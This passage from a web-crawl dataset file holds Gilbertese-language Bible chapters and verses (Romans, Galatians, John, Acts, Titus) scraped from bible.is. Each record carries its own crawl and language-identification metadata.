ti na b'aina te maiu n iango raoi, ae te maiu ae karaoa nanon te Atua ma n i raorao ma Ngaia n te aonnaba aei, 13ngkai ti tataninga te bongi ni kab'aia are ti kaantaningaia b'a e na roko ngkana e kaoti mimitongin Atuara ae kakannato ma te Tia Kamaiu are Iesu Kristo. 14are anga Ngaia i bukira, b'a E aonga ni kainaomataira man te buakaka ni kabanea, ao E aonga ni kaitiakiira b'a aomata aika ana aomata n ti Ngaia, aika iai nanoia ae korakora ni kani karaoi m'akuri aika raraoi. 15Ko na taekini baikai, ao ko na kaungaia ma ni boaiia am aomata ni m'aakan nakoam. E na tai kakeaa bongam temanna.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/2","date":"2016-09-25T09:39:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660158.72\/warc\/CC-MAIN-20160924173740-00066-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":435,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae akea te moti ni kabuakakaia akana mena i nanoni Kristo Iesu. 2B'a ana tua te Tamnei, are karekea te maiu nako ira i nanoni Kristo Iesu, e kainaomatai man ana tua te bure ma te mate. 3B'a te bae e aki kona ni karaoia te Tua ngke e mamara i bukin te rab'ata, ao E karaoia te Atua: b'a E kanakoa bon Natina ma rab'atana ae ai aron rab'atara ae bubure, b'a E na motika taekan te bure ae n te rab'ata ni kabuakaka, ao b'a E na kamaunaa te bure. 4B'a e aonga ni karaoaki nanon te Tua iroura ngaira aika ti maiu n aron nanon te Tamnei, ma tiaki n aron nanon te rab'ata. 5B'a te koraki aika maiu n aron nanon te rab'ata a kairaki aia iango n nanon te rab'ata, ma te koraki aika maiu n aron nanon te Tamnei a kairaki aia iango n nanon te Tamnei. 6B'a nanon te rab'ata bon te mate, ma nanon te Tamnei 7B'a nanon te rab'ata bon te riba te Atua, b'a e aki mena i aan ana tua te Atua, ao e bon aki kona; 8ao a aki kona ni kakukureia te Atua akana maiu n aron nanon te rab'ata. 9B'a kam aki maiu n aron nanon te rab'ata, ma kam maiu n aron nanon te Tamnei ngkae E maeka i nanomi Tamnein te Atua. Ao ngkana akea Tamneini Kristo iroun te aomata, ao tiaki ana aomata. 10Ao ngkana E maeka Kristo i nanomi, ao e maiu te Tamnei i nanomi i bukina b'a a a tia ni kaetaki aromi n reitaki ma te Atua, ao e mate te rab'ata i bukin te bure; 11Ma ngkana E maeka i nanomi Tamnein te Atua, are manga kamaiua Iesu mai buakoia maate, are maeka i nanomi, ao te Atua are kamaiua Kristo Iesu mai buakoia maate E na kamaiu naba rab'atami iroun Tamneina. 12Ma ngaia aei, tariu, ti aki bae n te rab'ata, n ira nanona ni maiura. 13B'a ngkana kam ira nanona ni maiumi, ao ane kam na mate; ma ngkana kam katoki aromi aika buakaka n ana buobuoki te Tamnei, ao kam na maiu. 14B'a akana kairaki iroun Tamnein te Atua ao bon natin te Atua. 15B'a te Tamnei are kam anganaki E aki karikingkami b'a tooro, ao E aki karika te maku i nanomi; ma kam anganaki te Tamnei ae e natinaki te aba i rouna, ao ae ti a kona i rouna ni kaangai iai: \"Aaba Tamara!\" 16Ao te Tamnei aei E i buobuoki ma tamneira ni kaotiotira b'a natin te Atua ngaira; 17Ao ngkana natina ngaira, ao bon taani b'aib'ai naba ngaira-taani b'aib'ai iroun te Atua, ao taan uaia ni b'aib'ai naba ma Kristo; b'a ngkai ti b'ainikirinaki ma Ngaia, ao ti na neboaki naba ma Ngaia. 18B'a I kakoaua b'a a aki kona ni kabotauaki taiani b'ainikirinaki aika reke nako ira ni boong aikai ma te neboaki are nang kaotaki nako ira. 19B'a b'aai ni kabane aika karikaki a tiku ma te ingainga ni kakantaninga te Atua are E na kaotia b'a antai aika bon natina. 20B'a b'aai ni kabane aika karikaki a bane ni kakiaki taekaia i aan te aki-nako-raoi, tiaki n oin nanoia, ma n nanon Teuare kaakiia i aana, ma te kaantaninga i bukiia, 21b'a a na kainaomataki man te mka are a na bane n roko iai, ao a na karekea te aro n inaomata ae akea n ai arona are aia b'ai natin te Atua. 22B'a ti atai baika karikaki b'a a bane n teimatoa ni karokoa ngkai ni ngirangira ma n ariri ni maraki, kaanga ai aron te aine are nangi bung. 23Ma tiaki ti baika karikaki ae e reke aei i rouia, b'a ngaira naba, aika iai iroura te Tamnei are te moanib'ai n ana b'ai n tituaraoi te Atua: ti ngirangira i nanora ni kaantaninga te natinaki ao kainaomatan rab'atara ni kabane. 24B'a ti kamaiuaki n te kaantaninga; ma ngkana ti nora are ti kaantaningaia ao bon tiaki te kaantaninga; b'a e aera te aomata ngkae e na kaantaninga te bae e noria? 25Ma ngkana ti kaantaninga te bae ti tuai n noria, ao ti kakariaria ma te taotaonaki n nano. 26Ao ai aron naba te Tamnei b'a E buobuokira ni mamarara: b'a ti aki ata arora n tataro ae riai, ma E bubuti te Tamnei i bukira ni ngirangira aika a aki konaaki n atongaki aroia. 27Ao te Atua are noori nanoia aomata ni kabaneia E ata nanon te Tamnei, i bukina b'a E bubuti i bukiia ake a itiaki n aron nanon te Atua. 28Ao ti ataia b'a ni b'aai ni kabane, ao E m'am'akuri te Atua i bukin te raoiroi ao i bukiia te koraki ake a tangiria ake E a tia ni weteia nakon ana kaantaninga. 29B'a te koraki ake E a kaman rineia ngkoa, E a kamani baireia naba b'a a na riki ni katotonga Natina, b'a E aonga n riki b'a te karimoa i buakoia taari aika bati. 30Ao E weteia naba ake E a kamani baireia; ao ake E weteia E kaeti naba aroia n reitaki ma Ngaia; ao ake E kaeti aroia n reitaki ma Ngaia, E neboia naba. 31Ao tera ngkanne ae ti na taekinna i bukini baikai? Ngkana raora te Atua, ao antai ae kona n ekira nako? 32Teuare aki taua ae bon Natina, ma E anga i bukira ni kabaneira, ao E na iranna n aki anganira b'aai n akoi ni kabane ma Ngaia? 33Antai ae iai ana taeka ni bukiniia akana rineaki iroun te Atua? Bon te Atua ae kaetiia. 34Ao antai ae na kabureia? Kristo Iesu boni Ngaia are mate, are E a manga uti mai buakoia maate, ao are E mena naba i angaatain te Atua ni bububuti i bukira. 35Antai ae na karaureira ma tangirara irouni Kristo? Te rawawata, ke te maraki, ke te b'ainikirinaki, ke te rongo, ke te aki-kunnikaiaki, ke te kabuanib'ai, ke te mate? 36N ai aron are koreaki ni kaangai, \"Ti tiringaki i bukim ni kabongnga; Ti atongaki b'a tiibu aika nang tiringaki b'a karea.\" 37Ma moan te tokanikai ngaira i aoni baikai ni kabane iroun Teuare tangirira. 38B'a I boni koaua b'a e aki kona te mate, ke te maiu, ke anera, ke baika iai m'akaia ma aroia n tautaeka i karawa, ke b'aai aika boou, ke baika na roko, 39ke te rietaata, ke te rinano, ao e aki kona naba te b'ai teuana ae karikaki, ni karaureira ma tangirara iroun te Atua, are i nanoni Kristo Iesu are ara UEA.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/8","date":"2016-09-28T12:49:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661367.29\/warc\/CC-MAIN-20160924173741-00278-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1089,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Ngke I mena i roumi ao I bon aki karawawata temanna ngkana iai te b'ai ae I kainanoia: b'a te bae I kainanoia e a reke mairouia taari ake a nako mai M'aketonia. I a tia ni kawakinai b'a N na aki riki b'a te b'ai ni karawawata ngai nako imi ni b'aai ni kabane, ao N na manga boni kawakinai naba maiai.\n2 KORINTO 11:9\nFREE!\nOne App.\n1210 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/9","date":"2016-10-01T03:57:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662507.79\/warc\/CC-MAIN-20160924173742-00182-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":68,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae B'auro, ae te tia tuatua, tiaki mairouia aomata, ao tiaki naba iroun te aomata, ma bon te tia tuatua iroun Iesu Kristo ma te Atua ae te Tama, are E a manga uti Iesu i rouna mai buakoia maate. 2ao taari ni kabaneia aika i rou, nakoia ekaretia ake i Karatia: 3Ami b'ai te akoaki ma te raoi mairoun te Atua ae Tamara ao te UEA are Iesu Kristo, 4are anga Ngaia i bukin ara bure, b'a E aonga ni kamaiura mai aon te aba ae buakaka aei, n ai aron nanon Atuara ae Tamara, 5are ana b'ai te neboaki n aki totoki; Amen. 6I mimi ngkai kam kai rairaki mairoun Teuare weteingkami n ana akoi Kristo, nakon te euangkerio teuana; 7b'a bon akea riki te euangkerio teuana, ma ti iai tabem'aang aika aki karaungkami, aika kani kab'aoua euangkerioni Kristo. 8Ma ngkana tao ngaira ke te anera mai karawa, ae e na taekina te euangkerio riki teuana i rarikin are ti taekinna nakoimi, ao ke e reke kaina. 9N aron are ti a tia n atongnga ngkoa, ao I a manga atongnga naba ngkai, Ngkana tao e taekinaki iroun te aomata temanna te euangkerio riki teuana i rarikin are kam anganaki, ao ke e reke kaina. 10B'a I anai nanoia aomata ngkai, ke I anaa nanon te Atua? Ke I ukoukori kakukureiaia aomata? Ngkana I tabe ma kakukureiaia aomata, ao bon tiaki ana toro Kristo ngai. 11B'a I kaotia nakoimi, taari, b'a te euangkerio ae I tataekinna bon tiaki ana b'ai te aomata. 12B'a I aki anganaki iroun te aomata, ao I aki reireiaki naba taekana iroun te aomata, ma E kaotia Iesu Kristo. 13B'a kam ongo arou ngkekei, i nanon te Aro n Iutaia, b'a e rangi ni korakora b'ainikirinan ana ekaretia te Atua i rou, ao I kakaraoa are I kona n urua iai. 14E nako raoi riki arou n te Aro n Iutaia nakoia au roro aika bati aika kaain au botannaomata, b'a I bati n tangiri aia taeka n reirei au bakatibu. 15Ma ngke E kukurei nanon Teuare a tia n rineai mai nanoni biroton tinau, ma ni weteai n ana akoi, 16b'a E na kaota Natina i rou, b'a I aonga n tataekinna i buakoia aomata aika tiaki I-Iutaia, ao I aki iango ma temanna ngkekei naba; 17ao I aki nako Ierutarem nakoia uake a kaman riki b'a taan tuatua i m'aiu; ma I nako Arabia, ao I a manga okira Tamateko. 18Ao rimwi, i mwin ten ririki, ao I nako Ierutarem ni kawara Keeb'a, ao I mena i rouna tengauni ma nimabong; 19ma I aki nora te tia tuatua riki temanna, b'a ti Iakobo are tarin te UEA. 20Ao noria, I bon aki kewe i matan te Atua ni baika I koroi. 21Ao rimwi I nako n aaba ake Turia ma Kirikia. 22E aki kinaki matau irouia taian ekaretia ni Kristian i Iutaia. 23Ma a ti ongo taekau ae kaangai, \"Teuare b'ainikirinira ngkoa, e a tataekina ngkai te onimaki are e kataia ngkoa n urua.\" 24Ao a neboa te Atua i bukin te baere E a tia ni karaoia i rou.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/1","date":"2016-10-01T12:48:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662856.94\/warc\/CC-MAIN-20160924173742-00005-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":520,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1\"I atongi baikai nakoimi b'a a aonga n aki bua ami onimaki. 2Ane kam na tukaki b'a kam na aki manga roko ni m'aneabaia I-Iutaia, ao e na roko te aoa are e na taku iai ane kamateingkami b'a ngke e karaoa aei, ao e karaoia i bukin neboan te Atua. 3A na karaoi baikai nakoimi aomata i bukina b'a a aki ata Tamau, ao a aki ataai naba. 4Ma I atongi baikai nakoimi b'a ngkana e roko te aoa are a karaoi iai baikai nakoimi aomata, ao kam na uringnga b'a I a kaman taekin nakoimi. 5\"I aki taekini baikai nakoimi ngkoa, i bukina ngke I memena iroumi. Ma ngkai N nangi nako nakon Teuare kanakomaiai, ao akea naba iroumi ae titirakinai ni kaangai, Ko na nakea? 6Ma ngkai I a tia n taekini baikai nakoimi, ao kam a taonaki n te nanokawaki. 7Ma I tuangngkami te koaua: e manena riki i bukimi nakou; b'a ngkana I aki nako, ao E aki roko iroumi te Tia Buobuoki. Ma ngkana I nako, ao N na kanakomaia nakoimi. 8Ao ngkana E roko, ao E na kaotia nakon te aba b'a e bure ootana n aron te bure ao te raoiroi, ao e bure naba ootana n aron ana motiki-taeka te Atua. 9E bure ootana n aron te bure i bukina ngkai e aki onimakinai; 10e bure ootana n aron te raoiroi i bukina ngkai N nangi nako n te Tama, ao kam na aki manga norai; 11ao e bure ootana n aron ana motiki-taeka te Atua i bukina ngkai e a kaman tia ni motikaki taekan te tia taua taekan te aonnaba aei. 12\"A bati baika I kan taekin riki nakoimi, ma kam aki kona n oota iai ngkai. 13Ma ngkana E roko te Tamnei 14Ane E na neboai, b'a E na anai au taeka ao E na taekin nakoimi. 15Bon au b'ai b'aai ni bane ake iroun te Tama; ao aei bukin are I kaangai iai, b'a te Tamnei 16\"Ai ti teutana, ao kam na aki norai; ao ai manga ti teutana riki i mwina, ao kam na manga norai.\" 17A i titiraki i bon i rouia ana reirei Iesu ake tabem'aang, ao a kaangai, \"Tera nanon ana taeka ngke E kaangai nako ira, Ai ti teutana, ao kam na aki norai; ao ai manga ti teutana riki i mwina, ao kam na manga norai? Ao tera naba nanon ana taeka are kaangai, I bukina b'a N na nako n te Tama? 18Tera nanon ae e kaangai, 'Ai ti teutana'? Ti aki ata ae E nanonna iai.\" 19E atai nanoia Iesu ae a kan titirakinna, ma ngaia are E taku nakoia, \"E kaangai au taeka, 'Ai ti teutana, ao kam na aki norai; ao ai manga ti teutana riki i mwina, ao kam na manga norai.' Ngaia aei ae kam i titiraki iai iroumi b'a kam kan ata nanona? 20Bon te koaua ni koaua ae I a tuangngkami b'a ane kam na tang ma n tanginiwenei, ma ane e na kim'areirei te aba; ane kam na nanokawaki, ma ane e na oneaki nanokawakimi nakon te kim'areirei. 21Ngkana e a kani bung te aine, ao e nanokawaki, b'a e a roko ana aoa ni maraki; ma ngkana e a tia ni bungia natina, ao e m'aninga taekani marakina, i bukini kukureina b'a e a bungiaki te aomata nako aon te aba. 22Ao ai aromi naba: b'a kam nanokawaki ngkai, ma N na manga noringkami, ao ane a na kaonaki nanomi n te kim'areirei, ao akea temanna ae na anaa kim'areireimi mai roumi. 23\"Ao n te bong arei, ao akea ami titiraki ae kam na manga titirakinai iai. Bon te koaua ni koaua ae I a tuangngkami b'a ngkana kam butiia te Tama te b'ai teuana n arau, ao E na anganingkami. 24Kam tuai ni bubuti te b'ai teuana n arau ni karokoa ngkai: kam na bubuti, ao ane kam na anganaki, b'a e aonga ni koro raoi kim'areireimi. 25\"I a tia ni kabonganai taeka aika kaangaanga iroumi b'a kam na oota iai ngke I atongi baikai nakoimi; ma e na roko te aoa are N na aki manga taekina iai te Tama nakoimi n taeka aika kaangaanga iroumi b'a kam na oota iai, ma N na taekinna nakoimi n te aro ae kam na oota raoi iai. 26N te bong arei ao kam na butia te Tama n arau; ao I aki taku nakoimi b'a N na butiia i bukimi; 27b'a E bon tangiringkami te Tama i bukina ngke kam tangirai ao kam kakoauaa ae I nako mai mairoun te Atua. 28I nako mai mairoun te Tama, ao I roko i aon te aba; ao ngkai, N nang kitana te aba n nako n te Tama.\" 29A taku ana reirei nakoina, \"Noria, ti a oota raoi ngkai n am taeka, b'a Ko a aki kabonganai taeka aika ti aki oota iai. 30Ti a ataiko ngkai b'a Ko atai b'aai ni kabane, ao Ko a aki tangira temanna b'a e na titirakiniko; ti a kakoauaa iai b'a ngaia Ko nako mai mairoun te Atua.\" 31E kaekaia Iesu ao E taku, \"Kam a tiba kakoauaai ngkai? 32Noria, e a roko te aoa, ao e a boni kaman roko, are kam na kauamaaeaki nako iai nakoni mwengami nako, ao kam na kitanai ni katukai n ti Ngai; ma iai raou b'a Tamau. 33I atongi baikai nakoimi b'a e aonga n reke iroumi te rau ngkana kam reitaki ma Ngai. Ami b'ai i aon te aba te rawawata; ma kam na ninikoria, b'a I a tia ni kataea ana kai te aba.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/John\/16","date":"2016-09-27T09:46:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660996.20\/warc\/CC-MAIN-20160924173740-00094-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":928,"character_repetition_ratio":0.071,"word_repetition_ratio":0.041,"special_characters_ratio":0.257,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:77nakoia ake a mena i Rom ni kabaneia, ake a tangiraki iroun te Atua, ake a weteaki b'a ana aomata: ami b'ai te akoaki ma te rau mairoun te Atua are Tamara ma te UEA are Iesu Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/7","date":"2016-09-27T14:45:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661087.58\/warc\/CC-MAIN-20160924173741-00231-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":0.9993292093,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9993292093276978}","num_words":54,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24Ngkana I m'ananga nako Tibein; ao I kaantaningaia b'a N na noringkami i aoni kawaiu n au tai ni m'ananga, ao ni bakaborauaki nako iai iroumi i mwin tiau n nora aroni kakukurein te mena i buakomi i nanon te tai ae kimototo.\nROM 15:24\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/24","date":"2016-09-26T21:50:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660887.60\/warc\/CC-MAIN-20160924173740-00269-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000048875808716}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai burabeti ma taan reirei aika mena n te ekaretia i Antioka, aika B'arenaba, ma Timeon are arana teuana Nikera, ao Roukio are te I-Kurene, ao Manaen are kaikawaki ma Erote are te tia tautaeka, ao Tauro. 2Ngke a tabe uakai n taromauria te UEA, ma n aki mamatam, ao E taku nakoia te Tamnei are Raoiroi, \"Kam na kaokoroa B'arenaba ma Tauro b'a au aomata nakon te m'akuri are I a tia n rineia nako iai b'a a na karaoia.\" 3Ma ngaia are, ngke a tia n aki mamatam, ao a tia naba n tataro, ao a katokai baiia i aoia, ao a kanakoia. 4Ao ngaiia, ngke a kanakoaki iroun te Tamnei are Raoiroi, ao a nako Terukia ao a borau mai iai nako Kubero. 5Ngke a roko i Tarami, ao a tataekina ana taeka te Atua ni m'aneabaia I-Iutaia. Ao raoia Ioane b'a e buokiia n aia m'akuri. 6A kabuta aon te abam'akoro arei ao a toki i Babo, ike a kaitibo iai ma te tia tabunea ae arana Barietu. Bon te I-Iutaia ngaia, ae te burabeti ni kewe. 7E memena Barietu iroun Terekio B'auro, ae te aomata ae wanawana, are te tia tautaeka n te aba arei. A weteaki B'arenaba ma Tauro iroun Terekio, b'a e kan ongora n ana taeka te Atua. 8Ma e tukiia Eruma are te tia tabunea (b'a aei arana n te taetae n Erene), ao e kataia n tuka Terekio b'a e na aki onimakina Iesu. 9Ao e kaonaki n te Tamnei are Raoiroi Tauro, are aranaki naba b'a B'auro; e katokai matana n tara te tia tabunea arei, ao e taku, 10Ngkoe ae natin te riaboro, ae ko on n te uarao ni kabanea ma aaro ni babakanikawai ni kabanea, ae ana kairiribai te raoiroi ni kabanea, ko aki kona n toki man arom ae te atong koaua mairoun te Atua b'a keewe? 11Ao noria, e na roko ngkai m'aakan te UEA i aom, ao ane ko na matakii n aki kona n nora taai tabe bong.\" Ao a karooaki matan Eruma n te tai naba arei, ao e nakonako ni kakaeia aomata aika na tautaua baina ni kairiria. 12Ngke e nora te baerei Terekio, ao e onimaki; e rangi ni mimi n taekan te UEA. 13A borau ngkanne B'auro ma raona mai Babo, ao a roko i Bereke are i Bamburia; e kitaniia Ioane ikekei, ao e okira Ierutarem. 14Ngke a nako uakekei mai Bereke, ao a roko i Antioka are i Bitiria; ao a nako ni m'aneabaia I-Iutaia n te bong ae te Taabati, ao a tekateka iai. 15I mwin te wareware man te Tua ma burabeti, ao a kanakoa aia taeka taan taua taekan te m'aneaba nakoia B'auro ma, ae kaangai, \"Mm'aane, taari, ngkana iai ami taeka ni kakorakorai naano nakoia aomata, ao kam na taetae.\" 16E teirake B'auro, ao e taotaona baina nakoia kaain te m'aneaba, ao e taku, Mm'aane aika Iteraera, ao ngkami akana kam maka te Atua, kam na ongora! 17E rineia ara bakatibu Atuaia aomata aika Iteraera aikai, ao E karikirakeia b'a te botannaomata ae korakora ngke a maeka n iruwa n te aba are Aikubita. E kaotinakoia te Atua mai Aikubita ni korakorani m'aakana. 18Ao E buobuokia n te rereua i nanon ae tao angaun te ririki, e ngae ngke a aki raraoi aroia nakoina. 19Ao ngke E a tia ni kamaunaia botannaomata ake itiua n te aba are Kanaan, ao E anganiia abaia b'a a na abanna, 20i nanon te maan ae tao abubua ao nimangaun te ririki; ao i mwina, E anganiia Iteraera taani motikitaeka ni karokoa te tai are e riki iai Tamuera are te burabeti b'a te tia kairiri. 21Ao rimwi riki, a bubuti b'a e na karekeaki aia uea: ao te Atua E anganiia Tauro are natini Kiti are kaain te baronga are Beniamin, b'a e na uea i aoia i nanon te maan ae abwi te ririki. 22Ao ngke E a tia ni kam'awa, ao E kateirakea Tawita b'a aia uea; ao aikai ana taeka te Atua i bukina: \"E a reke irou Tawita are natin Iete; boni ngaia te aomata ae I tangiria, ae na karaoi b'aai ni kabane aika I tangiri.\" 23Ao mairouia ana kariki teuaei, ao E a tia te Atua ni karekea te Tia Kamaiu mai buakoia, are Iesu, n ai aron ana taeka n akoi. 24Ao i m'ain rokona, ao e a tia Ioane n tataekinna nakoia Iteraera ni kabaneia, b'a a riai n rairi nanoia ao a na b'abetitoaki. 25Ao ngke e nangi roroko Ioane n tokin ana m'akuri, ao e taku, \"Kam taku b'a antai ngai? Tiaki Teuarei ngai. Ma noria, E na roko i mwiu, ao I aki tau b'a N na kab'arai kabaean ana kau ni wae.\" 26Mm'aane, taari, ngkami akana kam riki mairoun Aberaam! Ao akana maaka naba te Atua i buakomi, e kanakomaiakaki taekan te kamaiu aei nako ira. 27B'a aomata ake a maeka i Ierutarem, ni botaki ma aia tia tautaeka, a aki ataia ae te Tia Kamaiu, ao a aki oota naba n nanon aia taeka burabeti ake a aki toki ni warekaki n te Taabati ae koraki; ma a kakoroi bukin aia taeka burabeti ngke a motika taekana. 28Ao ngke akea te b'ai ae a kunea b'a e riai kamatean iai Iesu, ao a boni butiia naba Birato b'a E na kamateaki. 29Ao ngke a tia ni kakoroi mwin taeka ni kabane ake a koreaki b'a taekana, ao a karuoa rab'atana man te kaibangaki, ao a kawenea n te ne ni mate. 30Ma E a manga kamaiuaki mai buakoia maate iroun te Atua; 31ao E kakaoti i nanoni boong aika bati nakoia ake a iria mai Kariraia nako Ierutarem, ake a tataekinna ngkai nakoia aomata. 32Ao ti tuangngkami te rongorongo ae e raoiroi, b'a ana taeka n akoi te Atua are atongaki ngkoa nakoia bakatibu, 33e a tia ni kakoroa bukin aei nako ira ngaira aika kanoaia bakatibu, ngke E a manga kamaiua Iesu; n ai aron naba are koreaki n te Areru are te kauoua, are kaangai taekana, 'Bon Natiu Ngkoe, I karikiko n te bong aei.' 34Ao aei ana taeka te Atua i bukini manga kamaiuana man te mate, n aki manga okira te mka: N na anganingkami te kab'aia are kab'aian Tawita, ae te kab'aia ae koaua ae itiaki. 35Ao ti te bo naba ma ana taeka n te Areru teuana, ngke E kaangai 'Ane Ko na aki kariaia Natim are Moan te Raoiroi b'a E na mka rab'atana.' 36B'a ngke e a tia Tawita n tou mwin nako ana taeka te Atua n ana roro, ao e mate, ao e kaweneaki rab'atana i rarikiia ana bakatibu, ao e mka rab'atana. 37Ma E aki mka rab'atan Teuare E a manga kamaiuaki iroun te Atua. 38Ma ngaia aei, taari, kam na ataia b'a kam tuangaki b'a a kab'araki buure iroun Iesu. Ma kam aki konaaki ni kainaomataki n ami bure mai aan ana tua Mote. 39Ao akana onimaki a bane ni kainaomataki i rouna mani buure ni kabane. 40Ma ngaia ae kam na tarataraingkami, b'a e kaawa n roko i aomi te baere atongaki irouia burabeti, ae e kaangai taekana 41\"Noria, ngkami aika taani kakaniko, kam na mimi ao kam na mate! B'a te m'akuri ae I karaoia i nanon ami tai ni maiu, bon te b'ai ae kam na aki kakoaua, e ngae ngkana e kab'arab'araaki taekana nakoimi iroun temanna!\" 42Ngke a oti nako B'auro ma B'arenaba man te m'aneaba, ao a butiaki irouia aomata b'a a na manga taekin riki aia taeka akekei nakoia n te Taabati are i mwina. 43Ngke e a b'ara nako te botaki arei, ao a iraki B'auro ma B'arenaba irouia I-Iutaia aika bati ma aomata aika kakaonimaki nakoni karaoan ana kaantaninga te Atua, aika a tia n riki b'a kaain te Aro n I-Iutaia. E taetae B'auro ma B'arenaba nakoia, ni kairoroia b'a a na kairaki maiuia n taai nako n ana akoi te Atua. 44N te Taabati are i mwina, ao a kuri ni bane kaain te kaawa ni botaki n ongora n ana taeka te Atua. 45Ma ngke a nooriia aomata aika bati I-Iutaia, ao a rangi ni bakantang; a kakewei taeka ake a atongaki irouni B'auro, ao a kabuakaka B'auro. 46Ao a taetae ma te ninikoria B'auro ma B'arenaba ni kaangai, Bon te b'ai ae riai taekinani moa ana taeka te Atua nakoimi. Ma ngkai kam rawa iai, ma ni baireia n ami iango b'a kam aki riai n anganaki te maiu are aki toki, ao noria, ti nangi nako ni kawariia aomata aika tiaki I-Iutaia. 47B'a boni ngaia are ti tuangaki iai iroun te UEA, ni kaangai, \"I kateiko b'a te oota Ngkoe nakoia aomata aika aki onimakina te Atua, ao te kawai ni kamaiu nakoia aomata nako i aonnaba.\" 48Ngke a ongo aei aomata aika tiaki I-Iutaia, ao a kim'areirei, ao a kamoamoa ana taeka te Atua; ao a onimaki aomata ake a rineaki nakon te maiu are aki toki. 49Ao e tataekinaki ana taeka te UEA i aon te aba arei ni kabuta. 50Ma a kaunaki irouia I-Iutaia aine ake a kakannato ake a kakaonimaki nakon ana kaantaninga te Atua, ao a kauniia naba mm'aane ake a kakannato n te kaawa, ao a karaoi m'akuri ake a riki ni b'ainikirinaki iai B'auro ma B'arenaba irouia aomata, ao a kakioia nako man abaia. 51Ao ngaiia a taei tanoni waeia b'a kaotan ae ai akea tabeia irouia kaain te kaawa arei, ao a nako Ikonio. 52Ao a kaonaki reirei ake i Antioka n te kim'areirei ao n te Tamnei are Raoiroi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/13","date":"2016-09-28T02:49:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661289.57\/warc\/CC-MAIN-20160924173741-00149-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1592,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngkekei naba, ngke a botaki aomata aika rangi ni m'aiti n te aro are a rangi n i rib'arib'a, ao E taku Iesu nakoia moa 